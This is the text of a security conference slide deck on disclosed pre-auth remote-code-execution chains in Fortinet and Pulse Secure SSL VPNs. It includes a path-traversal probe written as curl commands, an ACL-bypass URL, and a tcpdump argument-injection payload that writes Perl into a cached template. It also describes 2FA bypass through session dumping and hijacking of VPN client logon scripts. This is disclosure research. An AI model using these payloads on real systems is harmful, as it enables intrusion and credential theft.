#### Infiltrating Corporate Intranet Like NSA

Pre-auth RCE on Leading SSL VPNs

Orange Tsai (@orange\_8361) Meh Chang (@mehqq\_)



### Orange Tsai

- Principal security researcher at **DEVCORE**
- Captain of HITCON CTF team
- Oday researcher, focusing on Web/Application security





## Meh Chang

- Security researcher at **DEVCORE**
- HITCON & 217 CTF team
- Focus on binary exploitation







#### Highlights today


- Pre-auth root RCE exploit chain on Fortinet SSL VPN
  - Hard-core binary exploitation
  - Magic backdoor
- Pre-auth root RCE exploit chain on Pulse Secure SSL VPN
  - Out-of-box web exploitation
  - Highest bug bounty from Twitter ever
- New attack surface to compromise back all your VPN clients

#### Agenda

- Introduction
- Jailbreak the SSL VPN
- Attack vectors
- Case studies & Demos
- Weaponize the SSL VPN
- Recommendations

#### SSL VPN

- Trusted by large corporations to protect their assets
- Work with any network environments and firewalls
- Clientless, a web browser can do everything!



## What if your trusted SSL VPN is insecure?

## Virtual Public Network


## "Public"

#### Why focusing on SSL VPN

- 1. Important corporate assets but a blind-spot
- 2. Widely used by corporations of all sizes
- 3. Only few SSL VPN vendors dominate the market
- 4. Direct Intranet access and must be exposed to outside

## Even NSA is hunting bugs on SSL VPN

Think about Equation Group leaks



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facebook

Secure Logon for Facebook Tableau

Username

 $\leftarrow$ 

Password

Logon



#### Welcome to the Twitter VPN Access Portal

username		
password		
Realm	TWO FACTOR FULL TUNNEL	▼

Sign In

Please sign in to begin your secure session.

#### $\leftrightarrow$ $\rightarrow$ C $\odot$



#### Restart Login

This site is intended for use by Authorized Users only. Any attempt to access this site without authorization, deny access to authorized users, hack into and/or deface this site will constitute a violation of applicable federal and state law. Marvel Entertainment, LLC reserves the right to report such misconduct to appropriate law enforcement authorities and/or to pursue all other legal remedies available to it. If you have reached this website in error, please remove yourself by typing the correct URL name of the website intended. Marvel reserves the right to monitor access to/from this website in accordance with the company's policies. Unless expressly stated otherwise, all contents contained in this site are the intellectual property of Marvel Entertainment LLC or its affiliates. This site may also contain information that is privileged, attorney work product or exempt from disclosure under applicable law. Copyright (c) and TM 2011 Marvel Entertainment, LLC and its subsidiaries. All rights reserved



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
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cisco	SSL VPN Service SECURITIES		

# They are usually forgotten へ(ッ)」

#### A silent-fix case

- We accidentally found a pre-auth RCE on Palo Alto SSL VPN during our Red Team assessment
- A silent fixed 1-day:
  - No CVE
  - No advisory
  - No official announcement

#### Hacking Uber as showcase




Hacked by Orange Tsai and Meh Chang from DEVCORE research team

#### Response from Palo Alto PSIRT

Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. **We do not CVE items found internally and fixed.** This issue was previously fixed, but if you find something in a current version, please let us know.



#### High severity CVE statistics



https://nvd.nist.gov


We focus on...

- Pulse Secure SSL VPN
  - More than **50,000+** servers operating on the Internet
  - Trusted by large corporations, service providers and government entities
- Fortigate SSL VPN
  - More than **480,000+** servers operating on the Internet
  - Prevalent among medium-sized enterprises

#### Let's start hacking

#### Difficulties for kick-starting

- SSL VPN is a **black box** and **closed source** appliance
- All-in-one & Build their own architecture stacks from scratch
- Only restricted shell provided
  - Jailbreak is the prerequisite for further researches



#### Jailbreak the SSL VPN


- We are not hardware guys :(
  - So we look into the virtual image first
- Analyzing virtual images
  - 1. Typical virtual images
  - 2. Encrypted virtual images

#### Typical virtual images

- If there is no LILO or GRUB password protected, we can just enter the Single-User mode
- Mount the .VMDK on your Linux box and modify the filesystem
  - /etc/crontab
  - /etc/ld.so.conf
  - /etc/passwd
  - Many ways...


# What if the disk has been encrypted?

#### Encrypted virtual images




- vmlinuz kernel
  - Level Hard
  - Reverse engineering for the win!
- •/sbin/init
  - Level Easy
  - Memory forensics for the win!


#### The booting process




#### The booting process




#### Find the vital point



#### In-memory patch



#### Once we press the Enter...



#### Digging at a correct place



#### Attack vectors

- WebVPN
- Native script language extensions
- Multi-layered architecture problems

#### WebVPN

- A convenient proxy feature Portable & Clientless
- Proxy all kinds of traffics through the web browser
  - Supports various protocols
    - HTTP, FTP, TELNET, SSH, SMB, RDP ...
  - Handles various web resources
    - WebSocket, JavaScript, Flash, Java Applet ...

#### WebVPN implementation

#### • Build from scratch

- Protocols, web resources handling are prone to memory bugs
- Requires high security awareness
  - Debug function
  - Logging sensitive data
  - Information exposed

#### WebVPN implementation

• Modify from an open source project

- Copy the code, copy the bugs
- Hard to maintain & update & patch
- Call existing libraries
  - Neglect to update
    - Libcurl (2008), Libxml (2009)

# Native script language extensions

• Most SSL VPNs have their own native script

#### language extensions

- En/Decoding in C/C++
- Type confusion between languages

	Web Stack			
F5 Networks	PHP / C (Apache extension)			
Cisco	Lua / C (self-implemented server)			
Pulse Secure	Perl / C++ (self-implemented server)			
Fortigate	Nginx / C (Apache extension)			
Palo Alto	PHP / C (AppWeb extension)			
Citrix	PHP / C (self-implemented server)			

# En/Decoding in C/C++

• String operation is always difficult for C language

- Buffer size calculation
- Dangerous functions
- Misunderstood functions

ret = snprintf(buf, buf\_size, format, ...); left\_buf\_size = buf\_size - ret;

# Type confusion

- Type seems the same but ...
- Perl string or C string?
- What **TYPE** is it?

my (\$var) = @\_; EXTENSION::C\_function(\$var);

# WHO KNOWSP

# Multi-layered architecture problems

- Inconsistency between each architecture layer
- Failed patterns
  - Reverse proxy + Java web = Fail
    - Breaking Parser Logic by Orange Tsai from Black Hat USA 2018
  - Customized(C/C++) web server + RESTful API backend

#### Failed Patterns

• ACL bypass on customized C webserver + RESTful backend

- Abuse Regular Expression greedy mode to bypass path check
   //public/images/.+/(front|background)\_.+
- Dispatched to backend PHP engine and access privileged pages

https://sslvpn/public/images/x/front\_x/../../../some.php

#### Case studies

Pre-auth remote code execution on Fortigate SSL VPN

Pre-auth remote code execution on Pulse Secure SSL VPN

# Disclaimer

All the CVEs mentioned below have been reported and patched by Fortinet, Pulse Secure and Twitter

#### Fortigate SSL VPN

• All programs and configurations compiled into /bin/init

- About 500 MB, stripped idb with 85k functions
- Plenty of function tables
- Customized web daemons
  - Based on apache since 2002
  - Self-implemented apache module

	bash-4.1# 1	.s	-1	/bin					
	total 51388	3							
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	acd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	alarmd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	<pre>alertmail -&gt; /bin/init</pre>
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	authd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	awsd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	azd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	bgpd -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	cardctl -> /bin/init
7	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	cardmgr -> /bin/init
•	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	chat -> /bin/init
	lrwxrwxrwx	1	0	0	9	Jun	5	23:42	chlbd -> /bin/init

#### Fortigate web interface

🔛 Please Login	×	+	
$\leftrightarrow$ $\rightarrow$ $C$ $\triangle$	A Not Secure	https://sslvpn:4433/remote/login?lang=en	🔍 🛧 Incognito 🗂 :
		Please Login	
		Name	
		Password	
		Login	
1			

# Worth mentioning bugs

• Pre-auth RCE chain

- CVE-2018-13379: Pre-auth arbitrary file reading
- CVE-2018-13382: Post-auth heap overflow
- The magic backdoor
  - CVE-2018-13383: Modify any user's password with a magic key

# Arbitrary file reading

• A function reading language json files for users

- Concatenate strings directly
- No ../ filter
- Limited file extension

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

# Arbitrary file reading

- Utilize the feature of snprintf
  - The snprintf() and vsnprintf() functions will write **at most size-1** of the characters printed into the output string
  - Appended file extension can be stripped!



# An SSL VPN mystery


Appears in many products ...

#### Excessively detailed session file


- /dev/cmdb/sslvpn\_websession
  - Session token
  - IP address
  - User name
  - Plaintext password

LILY HAY NEWMAN SECURITY 05.21.19 05:14 PM

#### **GOOGLE HAS STORED SOME PASSWORDS IN PLAINTEXT SINCE 2005**



#### 21 Facebook Stored Hundreds of Millions of User Passwords in Plain Text for Years




APPS MOBILE TECH


Twitter advising all 330 million users to change passwords after bug exposed them in plain text



#### WebVPN



# WebVPN - HTTP/HTTPS




#### https://sslvpn:4433/proxy/72ebc8b8/https/devco.re/

Latest Updates

. . .

## WebVPN - HTTP/HTTPS



# Heap overflow vulnerability

#### • HTTP proxy

- Perform URL rewriting
- JavaScript parsing
- memcpy to a 0x2000 heap buffer without length check


memcpy(buffer, js\_url, js\_url\_len);

#### Exploitation obstacles

- Destabilizing factors of heap
  - Multiple connection handling with epoll()
  - Main process and libraries use the same heap Jemalloc
  - Regularly triggered internal operations unrelated to connection
- Apache additional memory management
  - No free() unless connection ends

#### Jemalloc allocator limitation

- Centralize small objects
  - Stores small regions in
    - corresponding runs
- Reduce interference between small and large objects
  - Limit target options



## Surprise!

```
Program received signal SIGSEGV, Segmentation fault.
0x00007fb908d12a77 in SSL do handshake () from /fortidev4-
x86 64/lib/libssl.so.1.1
2: /x  $rax = 0x41414141
1: x/i $pc
=> 0x7fb908d12a77 <SSL do handshake+23>: callq *0x60(%rax)
(gdb)
```

# FU7272

# Reverse

### SSL structure (OpenSSL)


- Stores information of each SSL connection
- Ideal target
  - Allocation triggered easily
     Size close to JavaScript buffer
     Nearby JavaScript buffer with regular offset (k + N pages)
     Useful structure members

#### Useful structure members


```
typedef struct ssl_st SSL;
struct ssl_st {
     int version;
     const SSL_METHOD *method; //func table
     \bullet \bullet \bullet
     int (*handshake_func) (SSL *);
```


#### Mess up connections


- Overflow SSL structure
  - Establish massive connections
    - Lots of normal requests
    - One overflow request



#### Exploit between connections








#### Overflow SSL structure


#### 

#### 

#### From SEGFAULT to RCE







# Enjoy your shell!

Send fuzzy connections to meet the condition

- Daemon may crash multiple times
- Fortigate owns a reliable watchdog!
- Get a shell in 1~2 minutes

# Make your life easier

Find another **Door** to get in

### MAGIC backdoor

### • A "magic" parameter

- Secret key for reset password
- Designed for updating outdated password
  - but lack of authentication

# Demo

Pop a root shell from the only exposed HTTPS port

# Demo

https://youtu.be/Aw55HqZW4x0

### Pulse Secure SSL VPN

- Pulse Secure was formed a divestiture of Juniper Networks
- Customized web server and architecture stack
- Perl enthusiast numerous Perl extensions in C++
- LD\_PRELOAD all processes with:
  - libsafe.so Detect and protect against stack smashing attacks
  - libpreload.so User-mode networking system call hooks

### Vulnerabilities we found

- CVE-2019-11510 Pre-auth arbitrary file reading
- CVE-2019-11538 Post-auth NFS arbitrary file reading
- CVE-2019-11508 Post-auth NFS arbitrary file writing
- CVE-2019-11542 Post-auth stack buffer overflow
- CVE-2019-11539 Post-auth command injection
- CVE-2019-11540 XSSI session hijacking
- CVE-2019-11507 Cross-site scripting

# Arbitrary file reading

• CVE-2019-11510 – Webserver-level pre-auth file reading

- Pulse Secure has introduced a new feature HTML5 Access since SSL VPN version 8.2
  - A new solution to access Telnet, SSH and RDP via browsers
- To handle static resources, Pulse Secure created a new IF-case to widen the original strict path validation

# Am I affected by this vuln?

### • Probably YES!

- All un-patched versions are vulnerable except the End-of-Life 8.1 code
- \$ curl -I 'https://sslvpn/dana-na///css/ds.js'
  - HTTP/1.1 400 Invalid Path
- \$ curl -I 'https://sslvpn/dana-na///css/ds.js?/dana/html5acc/guacamole/'
  HTTP/1.1 200 OK

### What can we extract?

- 1. Private keys and system configuration(LDAP, RADIUS and SAML...)
- 2. Hashed user passwords(md5\_crypt)
- 3. Sensitive cookies in WebVPN(ex: Google, Dropbox and iCloud...)
- 4. Cached user plaintext passwords

# Whc

- 1. Private
- 2. Hashec
- 3. Sensitiv
- 4. Cachec



#### and SAML...)

#### iCloud...)

### Plaintext AGAIN

# Command Injection

• CVE-2019-11539 – Post-auth Command Injection

```
/dana-admin/diag/diag.cgi
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;
}
```

# Command Injection

💲 Puls	e Secure	System Aut	hentication	Administrators	Users	Maintenance	Wizards
Troubleshooting > Tools	> TCP Dump						
TCP Dump							
User Sessions	Monitoring Too	ls System Snaps	shot Ren	note Debugging			
TCP Dump Comma	nds Kerberos						
This allows you to snif	f the packet headers on the	network, and save ther	m in a dump file.				
TCP Dump Status: St	opped						
Interface Internal internal Promiscuous mode: Filter: Options:			2				
	Start Sniffing						

# Pulse Secure hardenings

• Several hardenings on Pulse Secure SSL VPN...

- 1. System integrity check
- 2. Read-only filesystem(only /data are writable)
- 3. The **DSSafe.pm** as a safeguard protects Perl from dangerous operations

# The Perl gatekeeper

### • DSSafe.pm

- A Perl-C extension hooks several Perl functions such as:
  - system, open, popen, exec, backstick...
- Command-line syntax validation
  - Disallow numerous bad characters [\&\\*\(\)\{\}\[\]\`\;\|\?\n~<>]
  - Re-implement the Linux I/O redirections in Perl

# Failed argument injection :(

- TCPDUMP is too old(v3.9.4, Sept 2005) to support **post-rotate-command**
- Observed Pulse Secure caches Perl template result in:
  - /data/runtime/tmp/tt/\*.thtml.ttc
  - No way to generate a polyglot file in both Perl and PCAP format

```
/usr/sbin/tcpdump _help
Usage: tcpdump [-aAdDeflLnNOpqRStuUvxX] [-c count] [-C file_size]
[-E algo:secret] [-F file] [-i interface] [-M secret]
[-r file] [-s snaplen] [-T type] [-w pcap-file]
[-W filecount] [-z postrotate-command]
[-y datalinktype] [-Z user] [expression]
```

# Time to dig deeper

• Dig into DSSafe.pm more deeply, we found a flaw in command line I/O redirection parsing



# Think out of the box

**STDOUT** is uncontrollable

Could we write a valid Perl by just **STDERR**?

### Think out of the box


\$ tcpdump -*d* -*r* '123'

tcpdump: 123: No such file or directory

\$ tcpdump -d -r '123' 2>&1 | perl syntax error at - line 1, near "123:"
Execution of - aborted due to compilation errors.

### Think out of the box

- \$ tcpdump -d -r 'print 123#'
  - tcpdump: print 123#: No such file or directory
- \$ tcpdump -d -r 'print 123#' 2>&1 | perl 123





*-r'\$x="ls",system\$x#'* 

2>/data/runtime/tmp/tt/setcookie.thtml.ttc

>/dev/null

2>&1


<

### RCE Exploit

(1)

#### -r'\$x="ls",system\$x#'


### 2>/data/runtime/tmp/tt/setcookie.thtml.ttc



-r'\$x="ls",system\$x#'




2>/data/runtime/tmp/tt/setcookie.thtml.ttc



-r'\$x="ls",system\$x#'

2>/data/runtime/tmp/tt/setcookie.thtml.ttc



#### -r'\$x="ls",system\$x#

•• >_	C	url	https	s://sslvpn,	/dana-na	/aut	h/set	cook	ie.cą	gi
boo da 	ta			lib64 lost+found			proc sbin		usr	var

2>&1

# Response from Pulse Secure

- Pulse Secure is committed to providing customers with the best Secure Access Solutions for Hybrid IT- SSL VPN and takes security vulnerabilities very seriously
- Timeline:
  - This issue was reported to Pulse Secure PSIRT Team on March 22, 2019
  - Pulse Secure fixes all reported issues in short span of time and published the security advisory SA44101 on April 24, 2019 with all software updates that address the vulnerabilities for unpatched versions
  - Pulse Secure assigned the CVE's to all reported vulnerabilities and updated the advisory on April 25, 2019
  - Pulse Secure sent out a reminder to all customers to apply the security patches on June 26, 2019
- Pulse Secure would like to thank DEVCORE Team for reporting this vulnerability to Pulse Secure and working toward a coordinated disclosure


# Hacking Twitter

- We keep monitoring large corporations who use Pulse Secure by fetching the exposed version and **Twitter** is one of them
- Pulse Secure released the patch on April 25, 2019 and we wait
  30 days for Twitter to upgrade the SSL VPN

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#### $\leftarrow \rightarrow C$

#### Welcome to the Twitter VPN Access Portal



Sign In

Please sign in to begin your secure session.

# Twitter is vulnerable

- \$ ./pulse\_check.py <mask>.twitter.com
- [\*] Date = Thu, 13 Dec 2018 05:34:28 GMT
- [\*] Version = 9.0.3.64015
- [\*] OK, <mask>.twittr.com is vulnerable






### Two-factor authentication

• Bypass the two-factor authentication

- Although we can extract cached passwords in plaintext from /lmdb/dataa/data.mdb, we still can not do anything :(
- 2. Observe Twitter enabled the Roaming Session (enabled by default)
- 3. Download the /lmdb/randomVal/data.mdb to dump all session
- 4. Forge the user and reuse the session to bypass the 2FA

Pulse Connect	t Secure - 首頁	× +											—	Ð	×
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INT ~	= 🔷 SQL+ XSS	S- Encryptic	on- Encoding	- Other-											
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### Restricted admin interface




Welcome to

### **Secure Access SSL VPN**

You do not have permission to login. Please contact your administrator.

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
#### Welcome to Secure Access SSL VPN

	L Username
	Password
	Sign In
Note: This is the <b>Administrator Sign-In Page</b> . If you don't want to sign in as an Administrator, return to the standard Sign-In Page.	Please sign in to begin your secure session.

# However

We only have the hash of admin password in sha256(md5\_crypt(salt, ...))

#### LAUNCH A 72-CORE AWS TO CRACK SHA256(MD5\_CRYPT(SALT,...))



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Command	S											
User Sessions Monitoring Tools System Snapshot Remote Debugging												
TCP Dump	Commands Kerberos	• 										
Command: Target server	Ping ~											
Interface:	Internal Port											
VLAN Port:	internal V OK Clear											

Output:

Burp Suite Professional v2.0.09beta - Temporary Project - licensed to DEVCORE [single user license]

Burp Project Intruder Repeater Window Help Backslash

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Extender Project options User		Jser options JSON Beautifier		S	Software Vulnerability Scanner		Errors	Deserialization S	canner	Wsdler	
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dana-admin/diag/,DanaInfo=0,SSL+diag.cgi?a=td X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1						<pre></pre>					
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1	eth2	Link encap:Ethernet HWaddr 🗰 📬 🗰 🗰 🗰
2		UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
3		RX packets:35606236014 errors:0 dropped:0 overruns:0 frame:0
4		TX packets:39493038831 errors:0 dropped:0 overruns:0 carrier:0
5		collisions:0 txqueuelen:1000
6		RX bytes:27550572412019 (25.0 TiB)  TX bytes:35086268427123 (31.9 TiB)
7		
8	eth3	Link encap:Ethernet HWaddr 🗰 🖬 🖬 🖬 🖬
9		UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
10		RX packets:38799900799 errors:0 dropped:126028 overruns:0 frame:0
11		TX packets:34512697993 errors:0 dropped:0 overruns:0 carrier:0
12		collisions:0 txqueuelen:1000
13		RX bytes:32222414579423 (29.3 TiB) TX bytes:24982418765596 (22.7 TiB)
14		
15	eth4	Link encap:Ethernet HWaddr 🗰 🖬 🖬 🖬
16		UP BROADCAST SLAVE MULTICAST MTU:1500 Metric:1
17		RX packets:0 errors:0 dropped:0 overruns:0 frame:0
18		TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
19		collisions:0 txqueuelen:1000
20		RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
21		
22	eth5	Link encap:Ethernet HWaddr 🚾 🖬 💶 💷
23		UP BROADCAST SLAVE MULTICAST MTU:1500 Metric:1
24		RX packets:0 errors:0 dropped:0 overruns:0 frame:0
25		TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
26		collisions:0 txqueuelen:1000
07		PX bytacia (a a b) TX bytacia (a a b)

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1	eth2	Link encap:Ethernet HWaddr 🗰 🖬 🖬 🖬						
2		UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metr						
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10		RX packets: 39 990079 prs:0 ed:126028 overr TX packets: 4512697993 err rs:0 dropt d:0 overruns:0						
11 12		TX packets: 4512697993 err rs:0 dropp d:0 overruns:0 collisions:	o ca riter.e					
12		RX bytes:3222241 579423 29.3 1 B) T bytes:2498241	L876 596 (1					
14		(X bytes: 5222241 (75425 25:5 (b)) 11 bytes: 2450241	0/1 550 (2					
15		Link encap:Etlernet Hwadar						
16		UP BROADCAST SLAVE MULTICAST MTU:1500 Metr c:1						
17		RX packets:0 errors:0 dropped:0 overruns:0 frame:0						
18		TX packets:0 errors:0 dropped:0 overruns:0 carrier:0	)					
19		collisions:0 txqueuelen:1000						
20		RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)						
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23		UP BROADCAST SLAVE MULTICAST MTU:1500 Metric:1						
24		RX packets:0 errors:0 dropped:0 overruns:0 frame:0						
25		<pre>TX packets:0 errors:0 dropped:0 overruns:0 carrier:0</pre>	)					
26		collisions:0 txqueuelen:1000						
07		PV bytacia (a a b) TV bytacia (a a b)						

# Make the red team more Red

## Weaponize the SSL VPN

- The old-school method
  - Watering hole / Drive by download
  - Replace SSL VPN agent installer
  - Man-in-the-middle attack

## Weaponize the SSL VPN

- The new method to compromise all VPN clients
- Leverage the logon script feature!
  - Execute specified program once the VPN client connected
  - Almost every SSL VPN supports this feature
  - Support Windows, Linux and Mac

## Demo

Compromise all connected VPN clients

## Demo

https://youtu.be/v7JUMb70ON4

#### Recommendations

- Client certificate authentication
- Multi factors authentication
- Enable full log audit (Be sure to send to out-bound server)
- Subscribe to the vendor's security advisory and keep system updated!



## Thanks!

**)** @orange\_8361





